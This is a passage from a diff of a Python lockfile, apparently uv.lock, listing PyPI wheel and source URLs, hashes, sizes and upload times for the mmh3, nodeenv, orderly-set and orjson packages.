+    { url = "https://files.pythonhosted.org/packages/4f/34/e02dca1d4727fd9fdeaff9e2ad6983e1552804ce1d92cc796e5b052159bb/mmh3-5.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:bb0fdc451fb6d86d81ab8f23d881b8d6e37fc373a2deae1c02d27002d2ad7a05", size = 40684, upload-time = "2025-07-29T07:42:35.914Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/36/3dee40767356e104967e6ed6d102ba47b0b1ce2a89432239b95a94de1b89/mmh3-5.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b29044e1ffdb84fe164d0a7ea05c7316afea93c00f8ed9449cf357c36fc4f814", size = 40057, upload-time = "2025-07-29T07:42:36.755Z" },
+    { url = "https://files.pythonhosted.org/packages/31/58/228c402fccf76eb39a0a01b8fc470fecf21965584e66453b477050ee0e99/mmh3-5.2.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:58981d6ea9646dbbf9e59a30890cbf9f610df0e4a57dbfe09215116fd90b0093", size = 97344, upload-time = "2025-07-29T07:42:37.675Z" },
+    { url = "https://files.pythonhosted.org/packages/34/82/fc5ce89006389a6426ef28e326fc065b0fbaaed230373b62d14c889f47ea/mmh3-5.2.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7e5634565367b6d98dc4aa2983703526ef556b3688ba3065edb4b9b90ede1c54", size = 103325, upload-time = "2025-07-29T07:42:38.591Z" },
+    { url = "https://files.pythonhosted.org/packages/09/8c/261e85777c6aee1ebd53f2f17e210e7481d5b0846cd0b4a5c45f1e3761b8/mmh3-5.2.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0271ac12415afd3171ab9a3c7cbfc71dee2c68760a7dc9d05bf8ed6ddfa3a7a", size = 106240, upload-time = "2025-07-29T07:42:39.563Z" },
+    { url = "https://files.pythonhosted.org/packages/70/73/2f76b3ad8a3d431824e9934403df36c0ddacc7831acf82114bce3c4309c8/mmh3-5.2.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:45b590e31bc552c6f8e2150ff1ad0c28dd151e9f87589e7eaf508fbdd8e8e908", size = 113060, upload-time = "2025-07-29T07:42:40.585Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/b9/7ea61a34e90e50a79a9d87aa1c0b8139a7eaf4125782b34b7d7383472633/mmh3-5.2.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bdde97310d59604f2a9119322f61b31546748499a21b44f6715e8ced9308a6c5", size = 120781, upload-time = "2025-07-29T07:42:41.618Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/5b/ae1a717db98c7894a37aeedbd94b3f99e6472a836488f36b6849d003485b/mmh3-5.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:fc9c5f280438cf1c1a8f9abb87dc8ce9630a964120cfb5dd50d1e7ce79690c7a", size = 99174, upload-time = "2025-07-29T07:42:42.587Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/de/000cce1d799fceebb6d4487ae29175dd8e81b48e314cba7b4da90bcf55d7/mmh3-5.2.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:c903e71fd8debb35ad2a4184c1316b3cb22f64ce517b4e6747f25b0a34e41266", size = 98734, upload-time = "2025-07-29T07:42:43.996Z" },
+    { url = "https://files.pythonhosted.org/packages/79/19/0dc364391a792b72fbb22becfdeacc5add85cc043cd16986e82152141883/mmh3-5.2.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:eed4bba7ff8a0d37106ba931ab03bdd3915fbb025bcf4e1f0aa02bc8114960c5", size = 106493, upload-time = "2025-07-29T07:42:45.07Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/b1/bc8c28e4d6e807bbb051fefe78e1156d7f104b89948742ad310612ce240d/mmh3-5.2.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:1fdb36b940e9261aff0b5177c5b74a36936b902f473180f6c15bde26143681a9", size = 110089, upload-time = "2025-07-29T07:42:46.122Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/a2/d20f3f5c95e9c511806686c70d0a15479cc3941c5f322061697af1c1ff70/mmh3-5.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7303aab41e97adcf010a09efd8f1403e719e59b7705d5e3cfed3dd7571589290", size = 97571, upload-time = "2025-07-29T07:42:47.18Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/23/665296fce4f33488deec39a750ffd245cfc07aafb0e3ef37835f91775d14/mmh3-5.2.0-cp313-cp313-win32.whl", hash = "sha256:03e08c6ebaf666ec1e3d6ea657a2d363bb01effd1a9acfe41f9197decaef0051", size = 40806, upload-time = "2025-07-29T07:42:48.166Z" },
+    { url = "https://files.pythonhosted.org/packages/59/b0/92e7103f3b20646e255b699e2d0327ce53a3f250e44367a99dc8be0b7c7a/mmh3-5.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:7fddccd4113e7b736706e17a239a696332360cbaddf25ae75b57ba1acce65081", size = 41600, upload-time = "2025-07-29T07:42:49.371Z" },
+    { url = "https://files.pythonhosted.org/packages/99/22/0b2bd679a84574647de538c5b07ccaa435dbccc37815067fe15b90fe8dad/mmh3-5.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:fa0c966ee727aad5406d516375593c5f058c766b21236ab8985693934bb5085b", size = 39349, upload-time = "2025-07-29T07:42:50.268Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/ca/a20db059a8a47048aaf550da14a145b56e9c7386fb8280d3ce2962dcebf7/mmh3-5.2.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:e5015f0bb6eb50008bed2d4b1ce0f2a294698a926111e4bb202c0987b4f89078", size = 39209, upload-time = "2025-07-29T07:42:51.559Z" },
+    { url = "https://files.pythonhosted.org/packages/98/dd/e5094799d55c7482d814b979a0fd608027d0af1b274bfb4c3ea3e950bfd5/mmh3-5.2.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e0f3ed828d709f5b82d8bfe14f8856120718ec4bd44a5b26102c3030a1e12501", size = 39843, upload-time = "2025-07-29T07:42:52.536Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/6b/7844d7f832c85400e7cc89a1348e4e1fdd38c5a38415bb5726bbb8fcdb6c/mmh3-5.2.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:f35727c5118aba95f0397e18a1a5b8405425581bfe53e821f0fb444cbdc2bc9b", size = 40648, upload-time = "2025-07-29T07:42:53.392Z" },
+    { url = "https://files.pythonhosted.org/packages/1f/bf/71f791f48a21ff3190ba5225807cbe4f7223360e96862c376e6e3fb7efa7/mmh3-5.2.0-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3bc244802ccab5220008cb712ca1508cb6a12f0eb64ad62997156410579a1770", size = 56164, upload-time = "2025-07-29T07:42:54.267Z" },
+    { url = "https://files.pythonhosted.org/packages/70/1f/f87e3d34d83032b4f3f0f528c6d95a98290fcacf019da61343a49dccfd51/mmh3-5.2.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:ff3d50dc3fe8a98059f99b445dfb62792b5d006c5e0b8f03c6de2813b8376110", size = 40692, upload-time = "2025-07-29T07:42:55.234Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/e2/db849eaed07117086f3452feca8c839d30d38b830ac59fe1ce65af8be5ad/mmh3-5.2.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:37a358cc881fe796e099c1db6ce07ff757f088827b4e8467ac52b7a7ffdca647", size = 40068, upload-time = "2025-07-29T07:42:56.158Z" },
+    { url = "https://files.pythonhosted.org/packages/df/6b/209af927207af77425b044e32f77f49105a0b05d82ff88af6971d8da4e19/mmh3-5.2.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b9a87025121d1c448f24f27ff53a5fe7b6ef980574b4a4f11acaabe702420d63", size = 97367, upload-time = "2025-07-29T07:42:57.037Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/e0/78adf4104c425606a9ce33fb351f790c76a6c2314969c4a517d1ffc92196/mmh3-5.2.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1ba55d6ca32eeef8b2625e1e4bfc3b3db52bc63014bd7e5df8cc11bf2b036b12", size = 103306, upload-time = "2025-07-29T07:42:58.522Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/79/c2b89f91b962658b890104745b1b6c9ce38d50a889f000b469b91eeb1b9e/mmh3-5.2.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c9ff37ba9f15637e424c2ab57a1a590c52897c845b768e4e0a4958084ec87f22", size = 106312, upload-time = "2025-07-29T07:42:59.552Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/14/659d4095528b1a209be90934778c5ffe312177d51e365ddcbca2cac2ec7c/mmh3-5.2.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a094319ec0db52a04af9fdc391b4d39a1bc72bc8424b47c4411afb05413a44b5", size = 113135, upload-time = "2025-07-29T07:43:00.745Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/6f/cd7734a779389a8a467b5c89a48ff476d6f2576e78216a37551a97e9e42a/mmh3-5.2.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c5584061fd3da584659b13587f26c6cad25a096246a481636d64375d0c1f6c07", size = 120775, upload-time = "2025-07-29T07:43:02.124Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/ca/8256e3b96944408940de3f9291d7e38a283b5761fe9614d4808fcf27bd62/mmh3-5.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ecbfc0437ddfdced5e7822d1ce4855c9c64f46819d0fdc4482c53f56c707b935", size = 99178, upload-time = "2025-07-29T07:43:03.182Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/32/39e2b3cf06b6e2eb042c984dab8680841ac2a0d3ca6e0bea30db1f27b565/mmh3-5.2.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:7b986d506a8e8ea345791897ba5d8ba0d9d8820cd4fc3e52dbe6de19388de2e7", size = 98738, upload-time = "2025-07-29T07:43:04.207Z" },
+    { url = "https://files.pythonhosted.org/packages/61/d3/7bbc8e0e8cf65ebbe1b893ffa0467b7ecd1bd07c3bbf6c9db4308ada22ec/mmh3-5.2.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:38d899a156549da8ef6a9f1d6f7ef231228d29f8f69bce2ee12f5fba6d6fd7c5", size = 106510, upload-time = "2025-07-29T07:43:05.656Z" },
+    { url = "https://files.pythonhosted.org/packages/10/99/b97e53724b52374e2f3859046f0eb2425192da356cb19784d64bc17bb1cf/mmh3-5.2.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d86651fa45799530885ba4dab3d21144486ed15285e8784181a0ab37a4552384", size = 110053, upload-time = "2025-07-29T07:43:07.204Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/62/3688c7d975ed195155671df68788c83fed6f7909b6ec4951724c6860cb97/mmh3-5.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c463d7c1c4cfc9d751efeaadd936bbba07b5b0ed81a012b3a9f5a12f0872bd6e", size = 97546, upload-time = "2025-07-29T07:43:08.226Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/3b/c6153250f03f71a8b7634cded82939546cdfba02e32f124ff51d52c6f991/mmh3-5.2.0-cp314-cp314-win32.whl", hash = "sha256:bb4fe46bdc6104fbc28db7a6bacb115ee6368ff993366bbd8a2a7f0076e6f0c0", size = 41422, upload-time = "2025-07-29T07:43:09.216Z" },
+    { url = "https://files.pythonhosted.org/packages/74/01/a27d98bab083a435c4c07e9d1d720d4c8a578bf4c270bae373760b1022be/mmh3-5.2.0-cp314-cp314-win_amd64.whl", hash = "sha256:7c7f0b342fd06044bedd0b6e72177ddc0076f54fd89ee239447f8b271d919d9b", size = 42135, upload-time = "2025-07-29T07:43:10.183Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/c9/dbba5507e95429b8b380e2ba091eff5c20a70a59560934dff0ad8392b8c8/mmh3-5.2.0-cp314-cp314-win_arm64.whl", hash = "sha256:3193752fc05ea72366c2b63ff24b9a190f422e32d75fdeae71087c08fff26115", size = 39879, upload-time = "2025-07-29T07:43:11.106Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/d1/c8c0ef839c17258b9de41b84f663574fabcf8ac2007b7416575e0f65ff6e/mmh3-5.2.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:69fc339d7202bea69ef9bd7c39bfdf9fdabc8e6822a01eba62fb43233c1b3932", size = 57696, upload-time = "2025-07-29T07:43:11.989Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/55/95e2b9ff201e89f9fe37036037ab61a6c941942b25cdb7b6a9df9b931993/mmh3-5.2.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:12da42c0a55c9d86ab566395324213c319c73ecb0c239fad4726324212b9441c", size = 41421, upload-time = "2025-07-29T07:43:13.269Z" },
+    { url = "https://files.pythonhosted.org/packages/77/79/9be23ad0b7001a4b22752e7693be232428ecc0a35068a4ff5c2f14ef8b20/mmh3-5.2.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f7f9034c7cf05ddfaac8d7a2e63a3c97a840d4615d0a0e65ba8bdf6f8576e3be", size = 40853, upload-time = "2025-07-29T07:43:14.888Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/1b/96b32058eda1c1dee8264900c37c359a7325c1f11f5ff14fd2be8e24eff9/mmh3-5.2.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:11730eeb16dfcf9674fdea9bb6b8e6dd9b40813b7eb839bc35113649eef38aeb", size = 109694, upload-time = "2025-07-29T07:43:15.816Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/6f/a2ae44cd7dad697b6dea48390cbc977b1e5ca58fda09628cbcb2275af064/mmh3-5.2.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:932a6eec1d2e2c3c9e630d10f7128d80e70e2d47fe6b8c7ea5e1afbd98733e65", size = 117438, upload-time = "2025-07-29T07:43:16.865Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/08/bfb75451c83f05224a28afeaf3950c7b793c0b71440d571f8e819cfb149a/mmh3-5.2.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ca975c51c5028947bbcfc24966517aac06a01d6c921e30f7c5383c195f87991", size = 120409, upload-time = "2025-07-29T07:43:18.207Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/ea/8b118b69b2ff8df568f742387d1a159bc654a0f78741b31437dd047ea28e/mmh3-5.2.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5b0b58215befe0f0e120b828f7645e97719bbba9f23b69e268ed0ac7adde8645", size = 125909, upload-time = "2025-07-29T07:43:19.39Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/11/168cc0b6a30650032e351a3b89b8a47382da541993a03af91e1ba2501234/mmh3-5.2.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29c2b9ce61886809d0492a274a5a53047742dea0f703f9c4d5d223c3ea6377d3", size = 135331, upload-time = "2025-07-29T07:43:20.435Z" },
+    { url = "https://files.pythonhosted.org/packages/31/05/e3a9849b1c18a7934c64e831492c99e67daebe84a8c2f2c39a7096a830e3/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:a367d4741ac0103f8198c82f429bccb9359f543ca542b06a51f4f0332e8de279", size = 110085, upload-time = "2025-07-29T07:43:21.92Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/d5/a96bcc306e3404601418b2a9a370baec92af84204528ba659fdfe34c242f/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:5a5dba98e514fb26241868f6eb90a7f7ca0e039aed779342965ce24ea32ba513", size = 111195, upload-time = "2025-07-29T07:43:23.066Z" },
+    { url = "https://files.pythonhosted.org/packages/af/29/0fd49801fec5bff37198684e0849b58e0dab3a2a68382a357cfffb0fafc3/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:941603bfd75a46023807511c1ac2f1b0f39cccc393c15039969806063b27e6db", size = 116919, upload-time = "2025-07-29T07:43:24.178Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/04/4f3c32b0a2ed762edca45d8b46568fc3668e34f00fb1e0a3b5451ec1281c/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:132dd943451a7c7546978863d2f5a64977928410782e1a87d583cb60eb89e667", size = 123160, upload-time = "2025-07-29T07:43:25.26Z" },
+    { url = "https://files.pythonhosted.org/packages/91/76/3d29eaa38821730633d6a240d36fa8ad2807e9dfd432c12e1a472ed211eb/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f698733a8a494466432d611a8f0d1e026f5286dee051beea4b3c3146817e35d5", size = 110206, upload-time = "2025-07-29T07:43:26.699Z" },
+    { url = "https://files.pythonhosted.org/packages/44/1c/ccf35892684d3a408202e296e56843743e0b4fb1629e59432ea88cdb3909/mmh3-5.2.0-cp314-cp314t-win32.whl", hash = "sha256:6d541038b3fc360ec538fc116de87462627944765a6750308118f8b509a8eec7", size = 41970, upload-time = "2025-07-29T07:43:27.666Z" },
+    { url = "https://files.pythonhosted.org/packages/75/b2/b9e4f1e5adb5e21eb104588fcee2cd1eaa8308255173481427d5ecc4284e/mmh3-5.2.0-cp314-cp314t-win_amd64.whl", hash = "sha256:e912b19cf2378f2967d0c08e86ff4c6c360129887f678e27e4dde970d21b3f4d", size = 43063, upload-time = "2025-07-29T07:43:28.582Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/fc/0e61d9a4e29c8679356795a40e48f647b4aad58d71bfc969f0f8f56fb912/mmh3-5.2.0-cp314-cp314t-win_arm64.whl", hash = "sha256:e7884931fe5e788163e7b3c511614130c2c59feffdc21112290a194487efb2e9", size = 40455, upload-time = "2025-07-29T07:43:29.563Z" },
+]
+
+[[package]]
+name = "nodeenv"
+version = "1.10.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/24/bf/d1bda4f6168e0b2e9e5958945e01910052158313224ada5ce1fb2e1113b8/nodeenv-1.10.0.tar.gz", hash = "sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb", size = 55611, upload-time = "2025-12-20T14:08:54.006Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/88/b2/d0896bdcdc8d28a7fc5717c305f1a861c26e18c05047949fb371034d98bd/nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827", size = 23438, upload-time = "2025-12-20T14:08:52.782Z" },
+]
+
+[[package]]
+name = "orderly-set"
+version = "5.5.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/4a/88/39c83c35d5e97cc203e9e77a4f93bf87ec89cf6a22ac4818fdcc65d66584/orderly_set-5.5.0.tar.gz", hash = "sha256:e87185c8e4d8afa64e7f8160ee2c542a475b738bc891dc3f58102e654125e6ce", size = 27414, upload-time = "2025-07-10T20:10:55.885Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/12/27/fb8d7338b4d551900fa3e580acbe7a0cf655d940e164cb5c00ec31961094/orderly_set-5.5.0-py3-none-any.whl", hash = "sha256:46f0b801948e98f427b412fcabb831677194c05c3b699b80de260374baa0b1e7", size = 13068, upload-time = "2025-07-10T20:10:54.377Z" },
+]
+
+[[package]]
+name = "orjson"
+version = "3.11.7"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/53/45/b268004f745ede84e5798b48ee12b05129d19235d0e15267aa57dcdb400b/orjson-3.11.7.tar.gz", hash = "sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49", size = 6144992, upload-time = "2026-02-02T15:38:49.29Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/de/1a/a373746fa6d0e116dd9e54371a7b54622c44d12296d5d0f3ad5e3ff33490/orjson-3.11.7-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174", size = 229140, upload-time = "2026-02-02T15:37:06.082Z" },
+    { url = "https://files.pythonhosted.org/packages/52/a2/fa129e749d500f9b183e8a3446a193818a25f60261e9ce143ad61e975208/orjson-3.11.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67", size = 128670, upload-time = "2026-02-02T15:37:08.002Z" },
+    { url = "https://files.pythonhosted.org/packages/08/93/1e82011cd1e0bd051ef9d35bed1aa7fb4ea1f0a055dc2c841b46b43a9ebd/orjson-3.11.7-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11", size = 123832, upload-time = "2026-02-02T15:37:09.191Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/d8/a26b431ef962c7d55736674dddade876822f3e33223c1f47a36879350d04/orjson-3.11.7-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc", size = 129171, upload-time = "2026-02-02T15:37:11.112Z" },
+    { url = "https://files.pythonhosted.org/packages/a7/19/f47819b84a580f490da260c3ee9ade214cf4cf78ac9ce8c1c758f80fdfc9/orjson-3.11.7-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16", size = 141967, upload-time = "2026-02-02T15:37:12.282Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/cd/37ece39a0777ba077fdcdbe4cccae3be8ed00290c14bf8afdc548befc260/orjson-3.11.7-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222", size = 130991, upload-time = "2026-02-02T15:37:13.465Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/ed/f2b5d66aa9b6b5c02ff5f120efc7b38c7c4962b21e6be0f00fd99a5c348e/orjson-3.11.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa", size = 133674, upload-time = "2026-02-02T15:37:14.694Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/6e/baa83e68d1aa09fa8c3e5b2c087d01d0a0bd45256de719ed7bc22c07052d/orjson-3.11.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e", size = 138722, upload-time = "2026-02-02T15:37:16.501Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/47/7f8ef4963b772cd56999b535e553f7eb5cd27e9dd6c049baee6f18bfa05d/orjson-3.11.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2", size = 409056, upload-time = "2026-02-02T15:37:17.895Z" },
+    { url = "https://files.pythonhosted.org/packages/38/eb/2df104dd2244b3618f25325a656f85cc3277f74bbd91224752410a78f3c7/orjson-3.11.7-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c", size = 144196, upload-time = "2026-02-02T15:37:19.349Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/2a/ee41de0aa3a6686598661eae2b4ebdff1340c65bfb17fcff8b87138aab21/orjson-3.11.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f", size = 134979, upload-time = "2026-02-02T15:37:20.906Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/fa/92fc5d3d402b87a8b28277a9ed35386218a6a5287c7fe5ee9b9f02c53fb2/orjson-3.11.7-cp310-cp310-win32.whl", hash = "sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de", size = 127968, upload-time = "2026-02-02T15:37:23.178Z" },
+    { url = "https://files.pythonhosted.org/packages/07/29/a576bf36d73d60df06904d3844a9df08e25d59eba64363aaf8ec2f9bff41/orjson-3.11.7-cp310-cp310-win_amd64.whl", hash = "sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993", size = 125128, upload-time = "2026-02-02T15:37:24.329Z" },
+    { url = "https://files.pythonhosted.org/packages/37/02/da6cb01fc6087048d7f61522c327edf4250f1683a58a839fdcc435746dd5/orjson-3.11.7-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c", size = 228664, upload-time = "2026-02-02T15:37:25.542Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/c2/5885e7a5881dba9a9af51bc564e8967225a642b3e03d089289a35054e749/orjson-3.11.7-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b", size = 125344, upload-time = "2026-02-02T15:37:26.92Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/1d/4e7688de0a92d1caf600dfd5fb70b4c5bfff51dfa61ac555072ef2d0d32a/orjson-3.11.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e", size = 128404, upload-time = "2026-02-02T15:37:28.108Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/b2/ec04b74ae03a125db7bd69cffd014b227b7f341e3261bf75b5eb88a1aa92/orjson-3.11.7-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5", size = 123677, upload-time = "2026-02-02T15:37:30.287Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/69/f95bdf960605f08f827f6e3291fe243d8aa9c5c9ff017a8d7232209184c3/orjson-3.11.7-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62", size = 128950, upload-time = "2026-02-02T15:37:31.595Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/1b/de59c57bae1d148ef298852abd31909ac3089cff370dfd4cd84cc99cbc42/orjson-3.11.7-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910", size = 141756, upload-time = "2026-02-02T15:37:32.985Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/9e/9decc59f4499f695f65c650f6cfa6cd4c37a3fbe8fa235a0a3614cb54386/orjson-3.11.7-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b", size = 130812, upload-time = "2026-02-02T15:37:34.204Z" },
+    { url = "https://files.pythonhosted.org/packages/28/e6/59f932bcabd1eac44e334fe8e3281a92eacfcb450586e1f4bde0423728d8/orjson-3.11.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960", size = 133444, upload-time = "2026-02-02T15:37:35.446Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/36/b0f05c0eaa7ca30bc965e37e6a2956b0d67adb87a9872942d3568da846ae/orjson-3.11.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8", size = 138609, upload-time = "2026-02-02T15:37:36.657Z" },
